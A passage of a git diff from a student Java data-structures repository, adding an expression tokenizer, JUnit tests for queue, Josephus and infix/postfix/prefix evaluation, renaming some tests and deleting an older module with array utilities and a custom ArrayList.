+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String, Integer> priorities = new HashMap<>();
+
+    static {
+        priorities.put("+", 1);
+        priorities.put("-", 1);
+        priorities.put("*", 2);
+        priorities.put("/", 2);
+    }
+
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+        return Integer.valueOf(value).intValue();
+    }
+
+    public String toString() {
+        return value;
+    }
+
+    public boolean hasHigherPriority(Token t) {
+        if (!this.isOperator() && !t.isOperator()) {
+            throw new RuntimeException("numbers can't compare priority");
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/TokenParser.java b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..90338a98a8
--- /dev/null
+++ b/group11/252308879/data-structure/src/main/java/com/pan/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.pan.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+
+
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+
+        int i = 0;
+
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR, String.valueOf(c));
+                tokens.add(t);
+                i++;
+
+            } else if (Character.isDigit(c)) {
+
+                int nextOperatorIndex = indexOfNextOperator(i, expr);
+                String value = expr.substring(i, nextOperatorIndex);
+                Token t = new Token(Token.NUMBER, value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+
+            } else {
+                System.out.println("char :[" + c + "] is not number or operator,ignore");
+                i++;
+            }
+
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloaderTest.java b/group11/252308879/data-structure/src/test/java/com/pan/download/FileDownloaderTest.java
similarity index 77%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloaderTest.java
rename to group11/252308879/data-structure/src/test/java/com/pan/download/FileDownloaderTest.java
index 7636f974b2..6e8d059c3a 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/FileDownloaderTest.java
+++ b/group11/252308879/data-structure/src/test/java/com/pan/download/FileDownloaderTest.java
@@ -1,11 +1,10 @@
-package org.pan.coding2017.multThreadDownload;
+package com.pan.download;
 
+import com.pan.download.api.ConnectionManager;
+import com.pan.download.impl.ConnectionManagerImpl;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
-import org.pan.coding2017.multThreadDownload.api.ConnectionManager;
-import org.pan.coding2017.multThreadDownload.api.DownloadListener;
-import org.pan.coding2017.multThreadDownload.api.impl.ConnectionManagerImpl;
 
 
 public class FileDownloaderTest {
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/alg/LRUPageFrameTest.java b/group11/252308879/data-structure/src/test/java/com/pan/linklist/LRUPageFrameTest.java
similarity index 89%
rename from group11/252308879/mini-jvm/src/test/java/com/pan/alg/LRUPageFrameTest.java
rename to group11/252308879/data-structure/src/test/java/com/pan/linklist/LRUPageFrameTest.java
index 8f6803c11f..e2d5325661 100644
--- a/group11/252308879/mini-jvm/src/test/java/com/pan/alg/LRUPageFrameTest.java
+++ b/group11/252308879/data-structure/src/test/java/com/pan/linklist/LRUPageFrameTest.java
@@ -1,7 +1,7 @@
-package com.pan.alg;
-
-import  org.junit.Assert;
+package com.pan.linklist;
 
+import com.pan.linklist.LRUPageFrame;
+import org.junit.Assert;
 import org.junit.Test;
 
 
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/StrutsTest.java b/group11/252308879/data-structure/src/test/java/com/pan/litestruts/StrutsTest.java
similarity index 96%
rename from group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/StrutsTest.java
rename to group11/252308879/data-structure/src/test/java/com/pan/litestruts/StrutsTest.java
index ccdacc514c..cc1a132d50 100644
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/parsingXML/StrutsTest.java
+++ b/group11/252308879/data-structure/src/test/java/com/pan/litestruts/StrutsTest.java
@@ -1,4 +1,4 @@
-package org.pan.coding2017.parsingXML;
+package com.pan.litestruts;
 
 import java.util.HashMap;
 import java.util.Map;
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/queue/CircleQueueTest.java b/group11/252308879/data-structure/src/test/java/com/pan/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..1afe297c98
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/queue/CircleQueueTest.java
@@ -0,0 +1,44 @@
+package com.pan.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/queue/JosephusTest.java b/group11/252308879/data-structure/src/test/java/com/pan/queue/JosephusTest.java
new file mode 100644
index 0000000000..a0c56cc12a
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.pan.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/alg/StackUtilTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/StackUtilTest.java
similarity index 98%
rename from group11/252308879/mini-jvm/src/test/java/com/pan/alg/StackUtilTest.java
rename to group11/252308879/data-structure/src/test/java/com/pan/stack/StackUtilTest.java
index 71671c9b47..7969de3356 100644
--- a/group11/252308879/mini-jvm/src/test/java/com/pan/alg/StackUtilTest.java
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/StackUtilTest.java
@@ -1,11 +1,12 @@
-package com.pan.alg;
-
-import java.util.Stack;
+package com.pan.stack;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
+
+import java.util.Stack;
+
 public class StackUtilTest {
 
 	@Before
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixExprTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..ff7f8cc0e6
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.pan.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixToPostfixTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..e46641122f
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/InfixToPostfixTest.java
@@ -0,0 +1,41 @@
+package com.pan.stack.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PostfixExprTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..1ed273c5ab
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.pan.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PrefixExprTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..0e6c4513ed
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.pan.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/TokenParserTest.java b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..5e95bf95b1
--- /dev/null
+++ b/group11/252308879/data-structure/src/test/java/com/pan/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.pan.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group11/252308879/dataStructure/.gitignore b/group11/252308879/dataStructure/.gitignore
deleted file mode 100644
index c7175f9b40..0000000000
--- a/group11/252308879/dataStructure/.gitignore
+++ /dev/null
@@ -1,10 +0,0 @@
-dataStructure/.classpath
-dataStructure/.project
-dataStructure/.settings/
-
-.project
-.settings/
-target/
-# 忽略IntelliJ IDEA配置文件
-*.iml
-*.idea/
diff --git a/group11/252308879/dataStructure/pom.xml b/group11/252308879/dataStructure/pom.xml
deleted file mode 100644
index 0bf21adba4..0000000000
--- a/group11/252308879/dataStructure/pom.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-  <modelVersion>4.0.0</modelVersion>
-
-  <groupId>org.apn.coding2017</groupId>
-  <artifactId>dataStructure</artifactId>
-  <version>1.0.0-SNAPSHOT</version>
-  <packaging>jar</packaging>
-
-  <name>dataStructure</name>
-  <url>http://maven.apache.org</url>
-
-  <properties>
-    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-  </properties>
-
-  <dependencies>
-    <dependency>
-      <groupId>junit</groupId>
-      <artifactId>junit</artifactId>
-      <version>4.12</version>
-      <scope>test</scope>
-    </dependency>
-    <dependency>
-      <groupId>junit</groupId>
-      <artifactId>junit</artifactId>
-      <version>RELEASE</version>
-    </dependency>
-    <dependency>
-      <groupId>dom4j</groupId>
-      <artifactId>dom4j</artifactId>
-      <version>1.6.1</version>
-    </dependency>
-  </dependencies>
-</project>
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/array/ArrayUtil.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/array/ArrayUtil.java
deleted file mode 100644
index 82d7073a0f..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/array/ArrayUtil.java
+++ /dev/null
@@ -1,282 +0,0 @@
-package org.pan.coding2017.array;
-
-import java.util.Arrays;
-
-/**
- * Created by QiPan on 2017/2/27.
- */
-public class ArrayUtil {
-
-
-    /**
-     * 给定一个整形数组a , 对该数组的值进行置换
-     * 例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-     * 如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-     *
-     * @param origin
-     * @return
-     */
-    public static void reverseArray(int[] origin) {
-
-        // 如果是null, 或者长度小于等于1， 直接返回
-        if (origin == null || origin.length <= 1) {
-            return;
-        }
-        for (int i = 0; i < origin.length / 2; i++) {
-            int tmp = origin[i];
-            origin[i] = origin[origin.length - 1 - i];
-            origin[origin.length - 1 - i] = tmp;
-        }
-    }
-
-    /**
-     * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-     * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：
-     * {1,3,4,5,6,6,5,4,7,6,7,5}
-     *
-     * @param oldArray
-     * @return
-     */
-
-    public static int[] removeZero(int[] oldArray) {
-
-        if (oldArray == null) {
-            return oldArray;
-        }
-        int[] newArray = null;
-        int count = 0; //统计被移出的数组的个数
-        for (int i = 0; i < oldArray.length; i++) {
-            int num = oldArray[i];
-            if (num == 0) {
-                count++;
-                System.arraycopy(oldArray, i + 1, oldArray, i, oldArray.length - i - 1);
-                i--;
-            }
-        }
-        if (count == 0) {
-            newArray = oldArray;
-        } else {
-            newArray = new int[oldArray.length - count];
-            System.arraycopy(oldArray, 0, newArray, 0, oldArray.length - count);
-        }
-        return newArray;
-    }
-
-    /**
-     * 不用JavaAPI来做
-     *
-     * @param oldArray
-     * @return
-     */
-    public static int[] removeZero_2(int[] oldArray) {
-
-        if (oldArray == null) {
-            return oldArray;
-        }
-        int count = 0;
-        for (int num : oldArray) {
-            if (num == 0) {
-                count++;
-            }
-        }
-        int[] newArray = new int[oldArray.length - count];
-        for (int i = 0, j = 0; i < oldArray.length; i++, j++) {
-            int num = oldArray[i];
-            if (num == 0) {
-                j--;
-            } else {
-                newArray[j] = num;
-            }
-        }
-        return newArray;
-    }
-
-    /**
-     * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-     * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-     *
-     * @param array1
-     * @param array2
-     * @return
-     */
-    public static int[] merge(int[] array1, int[] array2) {
-        //先初始化一个array3，但不是最后返回的数组
-        int[] array3 = new int[array1.length + array2.length];
-        int i = 0, j = 0;
-        int array3Size = 0; // 统计实际上合并数组后的大小
-        while (i < array1.length && j < array2.length) {
-            if (array1[i] < array2[j]) {// 如果array1中元素小，则插入到array3中
-                array3[array3Size++] = array1[i];
-                ++i;
-            } else if (array1[i] > array2[j]) {//如果array2中元素小，则插入到array3中
-                array3[array3Size++] = array2[j];
-                ++j;
-            } else {//否则随便插入一个,但是计数要同时加1
-                array3[array3Size++] = array1[i];
-                ++i;
-                ++j;
-            }
-        }
-
-        if (i == array1.length) { //如果array1中全部循环完毕了，那么需要去处理array2中剩余的元素
-            for (int n = j; n < array2.length; n++) {
-                array3[array3Size++] = array2[n];
-            }
-        } else if (j == array2.length) {// 如果array2中全部循环完毕,那么需要去处理array1中剩余的元素
-            for (int n = i; n < array1.length; n++) {
-                array3[array3Size++] = array1[n];
-            }
-        }
-        int[] returnResultArray = new int[array3Size];
-        System.arraycopy(array3, 0, returnResultArray, 0,
-                array3Size);
-        return returnResultArray;
-    }
-
-    /**
-     * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-     * 注意，老数组的元素在新数组中需要保持
-     * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-     * [2,3,6,0,0,0]
-     *
-     * @param oldArray
-     * @param size
-     * @return
-     */
-    public static int[] grow(int[] oldArray, int size) {
-        if (oldArray == null) {
-            oldArray = new int[size];
-        }
-        oldArray = Arrays.copyOf(oldArray, oldArray.length + size);
-        return oldArray;
-    }
-
-    /**
-     * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-     * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-     * max = 1, 则返回空数组 []
-     *
-     * @param max
-     * @return
-     */
-    public static int[] fibonacci(int max) {
-        if (max <= 1) {
-            return new int[0];
-        }
-        int[] arrays = new int[max / 2];
-        int firstNum = 1; //第一个数字
-        int secondNum = 1; // 第二个数字
-        int arraySize = 0;
-        arrays[arraySize++] = 1; // 初始化第一位
-        while (secondNum < max) {
-            arrays[arraySize++] = secondNum;
-            int tmpNum = secondNum; // 保存第二个数，得会需要付给第一个数
-            secondNum = firstNum + secondNum; // 为前两个数之和
-            firstNum = tmpNum; // 第一个数，后移
-        }
-        return Arrays.copyOf(arrays, arraySize);
-    }
-
-    /**
-     * 返回小于给定最大值max的所有素数数组
-     * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-     *
-     * @param max
-     * @return
-     */
-    public static int[] getPrimes(int max) {
-        int[] returnResultArray = new int[max + 1];
-        int arraySize = 0;
-        for (int i = 2; i < max; i++) {
-            if (isPrime(i)) {
-                returnResultArray[arraySize++] = i;
-            }
-
-        }
-        if (arraySize == returnResultArray.length) {
-            return returnResultArray;
-        }
-        return Arrays.copyOf(returnResultArray, arraySize);
-    }
-
-    private static boolean isPrime(final int number) {
-        if (number < 2) {
-            return false;
-        }
-        // 因为不可能将一个数除与所有小于它的数字，只要检查到N的平方根就好了。
-        // 但直接开根号还有个精度的问题。这个可能会产生误差。 索性将判断条件写成 i*i<=number
-        for (int i = 2; i * i <= number; i++) {
-            if (number % i == 0) {//查看所有小于number平方根的数，能够被整除
-                return false;
-            }
-        }
-        // 如果一个都没有，那么就是素数
-        return true;
-    }
-
-    /**
-     * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-     * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-     *
-     * @param max
-     * @return
-     */
-    public static int[] getPerfectNumbers(int max) {
-        int[] array = new int[max];
-        int arraySize = 0;
-        for (int n = 0; n < max; n++) {
-            int fac,// 被除的因子
-                    sum,// 用来统计因子之和
-                    num;// 除数的因子，中间变量
-            for (sum = 1, num = n, fac = 2; fac < num; fac++) {
-
-                if (n % fac == 0) {// 如果余数为0，那么说明有因子
-                    sum += fac;    // 统计因子和
-                    num = n / fac; // num=等于除数的最大因子
-                    if (num == fac)  // 如果最大和最小相等跳出循环
-                        break;
-                    sum += num; // 再统计因子
-                }
-            }
-
-            if (sum == n) { //因子和与整数相等，那么就是一个完美数
-                if (n != 1) {
-                    System.out.println(n + "是一个完全数，其因子为:");
-                }
-                for (fac = 1; fac < n; fac++) {
-                    if (n % fac == 0) {// 列出所有的因子
-                        System.out.print(fac + " ");
-                    }
-                }
-                System.out.println();
-                array[arraySize++] = n; // 放到数组中
-            }
-        }
-        return Arrays.copyOf(array, arraySize);
-    }
-
-    /**
-     * 用seperator 把数组 array给连接起来
-     * 例如array= [3,8,9], seperator = "-"
-     * 则返回值为"3-8-9"
-     *
-     * @param array
-     * @param seperator
-     * @return
-     */
-    public static String join(int[] array, String seperator) {
-        if (array == null) {
-            return null;
-        }
-        StringBuilder str = new StringBuilder();
-        for (int i = 0; i < array.length; i++) {
-            if (i == array.length - 1) {
-                str.append(array[i]);
-                continue;
-            }
-            str.append(array[i]).append(seperator);
-        }
-        return str.toString();
-    }
-
-}
diff --git a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/ArrayList.java b/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/ArrayList.java
deleted file mode 100644
index 73dd4b7a5f..0000000000
--- a/group11/252308879/dataStructure/src/main/java/org/pan/coding2017/basic/ArrayList.java
+++ /dev/null
@@ -1,212 +0,0 @@
-package org.pan.coding2017.basic;
-
-import java.util.Arrays;
-import java.util.NoSuchElementException;
-
-/**
- * Created by QiPan on 2017/2/23.
- */
-public class ArrayList implements List {
-
-    private int size;
-
-    // 设置默认容量 不可变
-    private static final int DEFAULT_CAPACITY = 10;
-
-    private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;
-
-    private Object[] elementData;
-
-    // 定义一个默认的空的数组,引用不可变
-    private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {};
-
-    public ArrayList(int initialCapacity) {
-        if (initialCapacity > 0) {
-            this.elementData = new Object[initialCapacity];
-        } else if (initialCapacity == 0) {
-            this.elementData = new Object[]{};
-        } else {
-            throw new IllegalArgumentException("Illegal Capacity: " + initialCapacity);
-        }
-    }
-
-    public ArrayList() { // 如果调用默认构造函数，设置容器为空的默认数组
-        this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA;
-    }
-
-
-    public boolean add(Object o) {
-        ensureCapacityInternal(size + 1);
-        elementData[size++] = o;
-        return true;
-    }
-
-    @Override
-    public boolean add(int index, Object o) {
-        if (index > size || index < 0) {
-            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
-        }
-        ensureCapacityInternal(size + 1);
-        // 从插入位置开发，所有的数据需要往后移动
-        System.arraycopy(elementData, index, elementData, index + 1,
-                size - index);
-        elementData[index] = o;
-        size++;
-        return true;
-    }
-
-    public Object set(int index, Object element) {
-        checkIndexOutOf(index);
-        Object oldEle = elementData[index];
-        elementData[index] = element;
-        return oldEle;
-    }
-
-    public Object get(int index) {
-        checkIndexOutOf(index);
-        return elementData[index];
-    }
-
-    public Object remove(int index) {
-        checkIndexOutOf(index);
-        Object oldValue = elementData[index];
-
-        // 计算需要移动的位数
-        int needMoveNum = size - index - 1;
-
-        if (needMoveNum > 0) {
-            /*
-             * src：源数组；
-             * srcPos：源数组要复制的起始位置；
-             * dest：目的数组；
-             * destPos：目的数组放置的起始位置；
-             * length：复制的长度。
-             */
-            System.arraycopy(elementData, index + 1, elementData, index, needMoveNum);
-        }
-        // 避免对象游离,是的gcc能工作回收
-        elementData[--size] = null;
-        return oldValue;
-    }
-
-    public int size() {
-        return this.size;
-    }
-
-    public boolean isEmpty() {
-        return this.size == 0;
-    }
-
-    public Iterator iterator() {
-        return new Itr();
-    }
-
-
-    private String outOfBoundsMsg(int index) {
-        return "Index: " + index + ", Size: " + size;
-    }
-
-    /**
-     * 检查数组越界
-     *
-     * @param index
-     */
-    private void checkIndexOutOf(int index) {
-        if (index >= size) {
-            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
-        }
-    }
-
-    private void ensureCapacityInternal(int minCapacity) {
-        // 如果是容器是默认的空的数组
-        if (this.elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
-            // 取得为与默认容量相比的较大值
-            minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
-        }
-        // 调用确保有能力放下那么多元素
-        ensureExplicitCapacity(minCapacity);
-    }
-
-    private void ensureExplicitCapacity(int minCapacity) {
-        // 防止容量溢出。所需的最小容器大于数组长度
-        if (minCapacity - elementData.length > 0) {
-            grow(minCapacity);
-        }
-    }
-
-    /**
-     * 扩充容量
-     *
-     * @param minCapacity
-     */
-    private void grow(int minCapacity) {
-        int oldCapacity = elementData.length;
-        // 得到一个新的容量大小，为 oldCapacity 的1.5倍
-        int newCapacity = oldCapacity + (oldCapacity >> 1);
-        // 如果扩容后的大小比，最小容量（DEFAULT_CAPACITY： 10）小
-        if (newCapacity - minCapacity < 0) {
-            newCapacity = minCapacity;
-        } else if (newCapacity - MAX_ARRAY_SIZE > 0) { // 扩容后比最大的还大，考虑溢出
-            //
-            newCapacity = hugeCapacity(minCapacity);
-        }
-
-        elementData = Arrays.copyOf(elementData, newCapacity);
-    }
-
-    /**
-     * 这个很少用到这个判断，毕竟基本不会使用那么大容量存储
-     *
-     * @param minCapacity
-     * @return
-     */
-    private static int hugeCapacity(int minCapacity) {
-        if (minCapacity < 0) {
-            throw new OutOfMemoryError();
-        }
-        return (minCapacity > MAX_ARRAY_SIZE) ? Integer.MAX_VALUE : MAX_ARRAY_SIZE;
-    }
-
-    private class Itr implements Iterator {
-
-        /**
-         * 当前游标
-         */
-        int cursor;
-        int lastRet = -1; // 是否是返回最后一个结果
-
-        @Override
-        public boolean hasNext() {
-            return cursor != size;
-        }
-
-        @Override
-        public Object next() {
-            int i = cursor;
-            // 游标已经超过数组的大小
-            if (i >= size) {
-                throw new NoSuchElementException();
-            }
-            Object[] elementData = ArrayList.this.elementData;
-
-            // 指向下一个元素
-            cursor = i + 1;
-            Object elementDatum = elementData[i];
-            lastRet = i;
-            return elementDatum;
-        }
-
-        @Override
-        public void remove() {
-            if (lastRet < 0) {
-                throw new IllegalStateException();
-            }
-            // 实际上这个时候的 lastRet,为 next方法时候的 i = cursor
-            ArrayList.this.remove(lastRet);
-            cursor = lastRet;
-            lastRet = -1;
-        }
-    }
-
-
-}
